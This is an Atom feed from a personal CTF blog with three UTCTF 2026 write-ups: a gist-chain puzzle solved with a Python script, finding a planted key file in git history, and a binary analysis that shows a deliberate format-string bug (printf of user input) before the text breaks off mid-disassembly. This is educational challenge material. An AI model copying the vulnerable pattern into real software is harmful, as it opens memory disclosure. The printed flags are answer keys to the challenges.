<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://uitxwoodynguyen.github.io/myblog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://uitxwoodynguyen.github.io/myblog/" rel="alternate" type="text/html" /><updated>2026-03-18T08:57:10+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/feed.xml</id><title type="html">Wood13nqxy3n’s Blog</title><subtitle>This is Wood13nqxy3n&apos;s personal blog. You can find the solution/writeups of some Capture The Flag (CTF) and some researchs about security challenge on this site</subtitle><author><name>Woodie</name></author><entry><title type="html">Breadcrumbs - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/breadcrumbs/" rel="alternate" type="text/html" title="Breadcrumbs - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/breadcrumbs</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/breadcrumbs/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>Every trail has a beginning. This one starts here:</p>
<blockquote>
  <p>https://gist.github.com/garvk07/3f9c505068c011e0fd6abd9ddf56aecb</p>
</blockquote>

<h2 id="osint-path">Osint Path</h2>
<p>First, base on the description, I try to open this github link and find a <code class="language-plaintext highlighter-rouge">.txt</code> file:</p>

<p><img src="https://www.notion.so/image/attachment%3Aac8dcef1-c268-474e-9fdc-bfb571011d96%3Aimage.png?table=block&amp;id=3251b638-5371-8004-b872-ff336c481f6f&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="start" /></p>

<p>We can see a Base64 string in this file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZ2FydmswNy9iYTQwNjQ2MGYyZTkzMmI1NDk2Y2EyNTk3N2JlMjViZQ==
</code></pre></div></div>

<p>Next, checking all gists, we found three other files: <code class="language-plaintext highlighter-rouge">poem.txt</code>, <code class="language-plaintext highlighter-rouge">analysis.txt</code>, and <code class="language-plaintext highlighter-rouge">final.txt</code>:</p>

<p><img src="https://www.notion.so/image/attachment%3Aac6d4b29-ee04-493f-8b26-e284f334d2c6%3Aimage.png?table=block&amp;id=3261b638-5371-80f9-ba2f-d3a918b99249&amp;spaceId=a781b638-5371-818f-8f7e-000357107d6a&amp;width=1420&amp;userId=&amp;cache=v2" alt="all_gist" /></p>

<p>Checking the remaining files:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">poem.txt</code>: This file has a poem and a URL link to <code class="language-plaintext highlighter-rouge">analysis.py</code>:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  Gather your wits, the path winds on from here,
  In shadows deep, the truth is never clear,
  Secrets hide where few would dare to look,
  Three letters follow, open up the book.

  p.s. https://gist.github.com/garvk07/963e70be662ea81e96e4e63553038d1a
</code></pre></div>    </div>

    <p>Taking a look at the poem, we find the hint <strong>“Three letters follow, open up the book.”</strong></p>
  </li>
  <li><code class="language-plaintext highlighter-rouge">analysis.py</code>:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># A curious little script...
</span>  <span class="c1"># Nothing to see here.
</span>  <span class="c1"># 68747470733a2f2f676973742e6769746875622e636f6d2f676172766b30372f3564356566383539663533306333643539336134613363373538306432663239
</span>  <span class="c1"># Move along.
</span>
  <span class="k">def</span> <span class="nf">analyse</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
      <span class="k">return</span> <span class="n">data</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

  <span class="n">results</span> <span class="o">=</span> <span class="n">analyse</span><span class="p">(</span><span class="s">"dead beef"</span><span class="p">)</span>
  <span class="k">print</span><span class="p">(</span><span class="n">results</span><span class="p">)</span>
</code></pre></div>    </div>

    <p>This Python source code contains a hex string in a comment:</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  68747470733a2f2f676973742e6769746875622e636f6d2f676172766b30372f3564356566383539663533306333643539336134613363373538306432663239
</code></pre></div>    </div>
  </li>
  <li><code class="language-plaintext highlighter-rouge">final.txt</code>: This file contains a string that looks like the flag format
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  You've reached the end of the trail. Your reward:
  hgsynt{s0yy0j1at_gu3_pe4jy_ge41y}
</code></pre></div>    </div>
  </li>
</ul>

<p>Decoding the gathered information (except <code class="language-plaintext highlighter-rouge">final.txt</code>) shows each file points to the next. The final token is ROT13-encoded, so we decode it.</p>

<p>Source code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="s">"""
Sample output:
[+] Step 0 - Start URL: https://gist.github.com/garvk07/3f9c505068c011e0fd6abd9ddf56aecb
[+] Step 1 - start.txt: Base64 -&gt; https://gist.github.com/garvk07/ba406460f2e932b5496ca25977be25be
[+] Step 2 - poem.txt: embedded URL -&gt; https://gist.github.com/garvk07/963e70be662ea81e96e4e63553038d1a
[+] Step 3 - analysis.py: hex -&gt; https://gist.github.com/garvk07/5d5ef859f530c3d593a4a3c7580d2f29
[+] Step 4 - final.txt: ROT13 token -&gt; hgsynt{s0yy0j1at_gu3_pe4jy_ge41y}
[+] FLAG: utflag{f0ll0w1ng_th3_cr4wl_tr41l}
"""</span>

<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">codecs</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">urllib.request</span>
<span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">urlparse</span>


<span class="n">START_URL</span> <span class="o">=</span> <span class="s">"https://gist.github.com/garvk07/3f9c505068c011e0fd6abd9ddf56aecb"</span>


<span class="k">def</span> <span class="nf">extract_gist_id</span><span class="p">(</span><span class="n">url</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">path_parts</span> <span class="o">=</span> <span class="p">[</span><span class="n">part</span> <span class="k">for</span> <span class="n">part</span> <span class="ow">in</span> <span class="n">urlparse</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">path</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"/"</span><span class="p">)</span> <span class="k">if</span> <span class="n">part</span><span class="p">]</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">path_parts</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="sa">f</span><span class="s">"Cannot extract gist id from URL: </span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">path_parts</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>


<span class="k">def</span> <span class="nf">fetch_gist</span><span class="p">(</span><span class="n">gist_url</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
    <span class="n">gist_id</span> <span class="o">=</span> <span class="n">extract_gist_id</span><span class="p">(</span><span class="n">gist_url</span><span class="p">)</span>
    <span class="n">api_url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"https://api.github.com/gists/</span><span class="si">{</span><span class="n">gist_id</span><span class="si">}</span><span class="s">"</span>
    <span class="n">request</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">Request</span><span class="p">(</span>
        <span class="n">api_url</span><span class="p">,</span>
        <span class="n">headers</span><span class="o">=</span><span class="p">{</span>
            <span class="s">"Accept"</span><span class="p">:</span> <span class="s">"application/vnd.github+json"</span><span class="p">,</span>
            <span class="s">"User-Agent"</span><span class="p">:</span> <span class="s">"ctf-breadcrumb-solver"</span><span class="p">,</span>
        <span class="p">},</span>
    <span class="p">)</span>
    <span class="k">with</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">request</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">20</span><span class="p">)</span> <span class="k">as</span> <span class="n">response</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">json</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">response</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">first_file_content</span><span class="p">(</span><span class="n">gist_obj</span><span class="p">:</span> <span class="nb">dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="n">files</span> <span class="o">=</span> <span class="n">gist_obj</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"files"</span><span class="p">,</span> <span class="p">{})</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">files</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"No files found in gist"</span><span class="p">)</span>
    <span class="n">filename</span><span class="p">,</span> <span class="n">metadata</span> <span class="o">=</span> <span class="nb">next</span><span class="p">(</span><span class="nb">iter</span><span class="p">(</span><span class="n">files</span><span class="p">.</span><span class="n">items</span><span class="p">()))</span>
    <span class="n">content</span> <span class="o">=</span> <span class="n">metadata</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"content"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">filename</span><span class="p">,</span> <span class="n">content</span>


<span class="k">def</span> <span class="nf">extract_base64_url</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">compact</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">text</span><span class="p">.</span><span class="n">splitlines</span><span class="p">())</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s">"[A-Za-z0-9+/=]{40,}"</span><span class="p">,</span> <span class="n">compact</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">candidates</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"No Base64 candidate found"</span><span class="p">)</span>
    <span class="n">decoded</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">candidates</span><span class="p">[</span><span class="mi">0</span><span class="p">]).</span><span class="n">decode</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">decoded</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"http"</span><span class="p">):</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"Decoded Base64 does not look like URL"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">decoded</span>


<span class="k">def</span> <span class="nf">extract_url</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"https://gist\.github\.com/[\w-]+/[0-9a-f]{32}"</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"No gist URL found"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">extract_hex_url</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">compact</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">text</span><span class="p">.</span><span class="n">splitlines</span><span class="p">())</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="sa">r</span><span class="s">"[0-9a-fA-F]{40,}"</span><span class="p">,</span> <span class="n">compact</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">candidates</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"No hex candidate found"</span><span class="p">)</span>
    <span class="n">decoded</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">candidates</span><span class="p">[</span><span class="mi">0</span><span class="p">]).</span><span class="n">decode</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">decoded</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"http"</span><span class="p">):</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"Decoded hex does not look like URL"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">decoded</span>


<span class="k">def</span> <span class="nf">extract_rot13_flag</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">tuple</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="nb">str</span><span class="p">]:</span>
    <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">"[a-z]{4,}\{[^}\n]+\}"</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
        <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">"No flag-like token found"</span><span class="p">)</span>
    <span class="n">encoded_flag</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">decoded_flag</span> <span class="o">=</span> <span class="n">codecs</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="n">encoded_flag</span><span class="p">,</span> <span class="s">"rot_13"</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">encoded_flag</span><span class="p">,</span> <span class="n">decoded_flag</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Step 0 - Start URL:"</span><span class="p">,</span> <span class="n">START_URL</span><span class="p">)</span>

    <span class="n">gist1</span> <span class="o">=</span> <span class="n">fetch_gist</span><span class="p">(</span><span class="n">START_URL</span><span class="p">)</span>
    <span class="n">file1</span><span class="p">,</span> <span class="n">content1</span> <span class="o">=</span> <span class="n">first_file_content</span><span class="p">(</span><span class="n">gist1</span><span class="p">)</span>
    <span class="n">url2</span> <span class="o">=</span> <span class="n">extract_base64_url</span><span class="p">(</span><span class="n">content1</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Step 1 - </span><span class="si">{</span><span class="n">file1</span><span class="si">}</span><span class="s">: Base64 -&gt; </span><span class="si">{</span><span class="n">url2</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">gist2</span> <span class="o">=</span> <span class="n">fetch_gist</span><span class="p">(</span><span class="n">url2</span><span class="p">)</span>
    <span class="n">file2</span><span class="p">,</span> <span class="n">content2</span> <span class="o">=</span> <span class="n">first_file_content</span><span class="p">(</span><span class="n">gist2</span><span class="p">)</span>
    <span class="n">url3</span> <span class="o">=</span> <span class="n">extract_url</span><span class="p">(</span><span class="n">content2</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Step 2 - </span><span class="si">{</span><span class="n">file2</span><span class="si">}</span><span class="s">: embedded URL -&gt; </span><span class="si">{</span><span class="n">url3</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">gist3</span> <span class="o">=</span> <span class="n">fetch_gist</span><span class="p">(</span><span class="n">url3</span><span class="p">)</span>
    <span class="n">file3</span><span class="p">,</span> <span class="n">content3</span> <span class="o">=</span> <span class="n">first_file_content</span><span class="p">(</span><span class="n">gist3</span><span class="p">)</span>
    <span class="n">url4</span> <span class="o">=</span> <span class="n">extract_hex_url</span><span class="p">(</span><span class="n">content3</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Step 3 - </span><span class="si">{</span><span class="n">file3</span><span class="si">}</span><span class="s">: hex -&gt; </span><span class="si">{</span><span class="n">url4</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">gist4</span> <span class="o">=</span> <span class="n">fetch_gist</span><span class="p">(</span><span class="n">url4</span><span class="p">)</span>
    <span class="n">file4</span><span class="p">,</span> <span class="n">content4</span> <span class="o">=</span> <span class="n">first_file_content</span><span class="p">(</span><span class="n">gist4</span><span class="p">)</span>
    <span class="n">encoded_flag</span><span class="p">,</span> <span class="n">flag</span> <span class="o">=</span> <span class="n">extract_rot13_flag</span><span class="p">(</span><span class="n">content4</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Step 4 - </span><span class="si">{</span><span class="n">file4</span><span class="si">}</span><span class="s">: ROT13 token -&gt; </span><span class="si">{</span><span class="n">encoded_flag</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] FLAG: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<p>Run result:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 solve.py
<span class="o">[</span>+] Step 0 - Start URL: https://gist.github.com/garvk07/3f9c505068c011e0fd6abd9ddf56aecb
<span class="o">[</span>+] Step 1 - start.txt: Base64 -&gt; https://gist.github.com/garvk07/ba406460f2e932b5496ca25977be25be
<span class="o">[</span>+] Step 2 - poem.txt: embedded URL -&gt; https://gist.github.com/garvk07/963e70be662ea81e96e4e63553038d1a
<span class="o">[</span>+] Step 3 - analysis.py: hex -&gt; https://gist.github.com/garvk07/5d5ef859f530c3d593a4a3c7580d2f29
<span class="o">[</span>+] Step 4 - final.txt: ROT13 token -&gt; hgsynt<span class="o">{</span>s0yy0j1at_gu3_pe4jy_ge41y<span class="o">}</span>
<span class="o">[</span>+] FLAG: utflag<span class="o">{</span>f0ll0w1ng_th3_cr4wl_tr41l<span class="o">}</span>
</code></pre></div></div>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="OSINT" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Double Check - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/double_check/" rel="alternate" type="text/html" title="Double Check - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/double_check</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/double_check/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>We’re planning on deploying some new static sites for our officers. We’ve cloned a template from Hugo’s Static Site Generator (SSG). Can you make sure that our website is clean before it’s deployed?</p>

<blockquote>
  <p>https://github.com/Jarpiano/utctf-profile</p>
</blockquote>

<h2 id="osint-path">Osint Path</h2>
<p>Based on the description, we first cloned the GitHub repository; here is the repository tree:</p>
<blockquote>
  <p><a href="https://github.com/UITxWoodyNguyen/CTF/blob/main/UTCTF-2026/misc/double-check/tree.sh">tree.sh</a></p>
</blockquote>

<p>Next, try checking the git log:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git log <span class="nt">--oneline</span> <span class="nt">--max-count</span><span class="o">=</span>30
ff2ac47 <span class="o">(</span>HEAD -&gt; main, origin/main, origin/HEAD<span class="o">)</span> updated site
a1546af added key file to integrate with AWS
b5b893f new clone
3d3bbd7 Support adding content after <span class="s2">"about"</span> section <span class="o">(</span><span class="c">#994)</span>
0450553 Move counterdev to the end of body <span class="o">(</span><span class="c">#993)</span>
b476d77 SFMono-Regular is not recognized by Firefox, uses the standard name <span class="s2">"SF Mono"</span> <span class="o">(</span><span class="c">#990)</span>
a3d7d40 Add Counter.dev analytics support <span class="o">(</span><span class="c">#988)</span>
eea6dfd Adds <span class="sb">`</span>rel<span class="sb">`</span> parameter to the social icons configuration documentation <span class="o">(</span><span class="c">#987)</span>
145401d Added TOC support <span class="o">(</span><span class="c">#985)</span>
cb13ec4 Fix pagination <span class="o">(</span><span class="c">#979)</span>
a5fc33e Upstreaming updates to theme to be compatible with Hugo v0.146.0 <span class="o">&gt;=</span> <span class="o">(</span><span class="c">#981)</span>
70c0792 Remove trailing space from headline. <span class="o">(</span><span class="c">#970)</span>
4b61a60 fix: don<span class="s1">'t wrap external link CSS content (#967)
6bc0059 Catalan il8n (#957)
</span></code></pre></div></div>

<p>From the result, we can see a suspicious commit:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>a1546af added key file to integrate with AWS
</code></pre></div></div>

<p>Inspecting that commit shows:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git show <span class="nt">--name-status</span> a1546af
commit a1546afedb6edeffa9227d70b1f5e110bda9f7e6
Author: Jarpiano &lt;barcousticjp@gmail.com&gt;
Date:   Thu Mar 12 10:33:12 2026 <span class="nt">-0500</span>

    added key file to integrate with AWS

A       static/fonts/secret-keys/AWS-key.txt
</code></pre></div></div>

<p>The result includes a path to <code class="language-plaintext highlighter-rouge">AWS-key.txt</code>; showing the file’s contents revealed the flag:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git show a1546af:static/fonts/secret-keys/AWS-key.txt
utflag<span class="o">{</span>n07h1n6_70_h1d3<span class="o">}</span>
</code></pre></div></div>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Tournament" /><category term="UTCTF" /><category term="OSINT" /><summary type="html"><![CDATA[No Description]]></summary></entry><entry><title type="html">Hour of joy - UTCTF 2026 write up</title><link href="https://uitxwoodynguyen.github.io/myblog/2026/03/17/hour_of_joy/" rel="alternate" type="text/html" title="Hour of joy - UTCTF 2026 write up" /><published>2026-03-17T00:00:00+00:00</published><updated>2026-03-17T00:00:00+00:00</updated><id>https://uitxwoodynguyen.github.io/myblog/2026/03/17/hour_of_joy</id><content type="html" xml:base="https://uitxwoodynguyen.github.io/myblog/2026/03/17/hour_of_joy/"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>This program is very friendly. It just wants to say hello. Nothing suspicious going on here at all. Download the binary and run it locally.</p>

<h2 id="challenge-overview">Challenge Overview</h2>

<p>This challenge provides us with a binary file. First, we try to check this binary:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file vuln               
vuln: ELF 64-bit LSB pie executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]<span class="o">=</span>3b8bb05d807ee592c2224e7d1828fba58682d866, <span class="k">for </span>GNU/Linux 3.2.0, not stripped

<span class="nv">$ </span>checksec <span class="nt">--file</span><span class="o">=</span>vuln
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/kali/Desktop/wargame/joy/vuln'</span>
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
</code></pre></div></div>

<p>This result means:</p>
<ul>
  <li>The binary is a 64-bit ELF with PIE enabled and symbols present (not stripped).</li>
  <li><strong>NX</strong> prevents executing injected shellcode on the stack.</li>
  <li><strong>PIE</strong> randomizes the code base; this is not an obstacle here since we do not need complex ROP.</li>
  <li>There is <strong>no stack canary</strong>, but there is no practical overflow primitive because <code class="language-plaintext highlighter-rouge">fgets</code> is bounded.</li>
  <li><strong>Full RELRO</strong> prevents easy GOT overwrites.</li>
  <li><strong>SHSTK/IBT (CET)</strong> are enabled, which increases the difficulty of control-flow hijacking.</li>
</ul>

<p>Next, decompile the binary with IDA, we can see the pseudocode of binary’s main:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-54h] BYREF</span>
    <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">76</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-50h] BYREF</span>
    <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+5Ch] [rbp-4h]</span>

    <span class="n">setup</span><span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">envp</span><span class="p">);</span>
    <span class="n">v6</span> <span class="o">=</span> <span class="o">-</span><span class="mi">559038737</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"What is your name? "</span><span class="p">);</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="n">s</span><span class="p">[</span><span class="n">strcspn</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, "</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"!"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Enter the secret code: "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%u"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v4</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">==</span> <span class="n">v6</span> <span class="p">)</span>
        <span class="n">print_flag</span><span class="p">();</span>
    <span class="k">else</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Wrong! Nice try."</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Based on the pseudocode, the important functions to analyze are <code class="language-plaintext highlighter-rouge">main</code>, <code class="language-plaintext highlighter-rouge">setup</code>, and <code class="language-plaintext highlighter-rouge">print_flag</code>. We’ll inspect the disassembly to understand the program flow:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">main()</code>:
    <pre><code class="language-asm">  ; int __fastcall main(int argc, const char **argv, const char **envp)
                  public main
  main            proc near               ; DATA XREF: _start+18↑o

  var_54          = dword ptr -54h
  s               = byte ptr -50h
  var_4           = dword ptr -4

  ; __unwind {
                  endbr64
                  push    rbp
                  mov     rbp, rsp
                  sub     rsp, 60h
                  mov     eax, 0
                  call    setup
                  mov     [rbp+var_4], 0DEADBEEFh
                  lea     rax, format     ; "What is your name? "
                  mov     rdi, rax        ; format
                  mov     eax, 0
                  call    _printf
                  mov     rdx, cs:stdin@GLIBC_2_2_5 ; stream
                  lea     rax, [rbp+s]
                  mov     esi, 40h ; '@'  ; n
                  mov     rdi, rax        ; s
                  call    _fgets
                  lea     rax, [rbp+s]
                  lea     rdx, reject     ; "\n"
                  mov     rsi, rdx        ; reject
                  mov     rdi, rax        ; s
                  call    _strcspn
                  mov     [rbp+rax+s], 0
                  lea     rax, aHello     ; "Hello, "
                  mov     rdi, rax        ; format
                  mov     eax, 0
                  call    _printf
                  lea     rax, [rbp+s]
                  mov     rdi, rax        ; format
                  mov     eax, 0
                  call    _printf
                  lea     rax, s          ; "!"
                  mov     rdi, rax        ; s
                  call    _puts
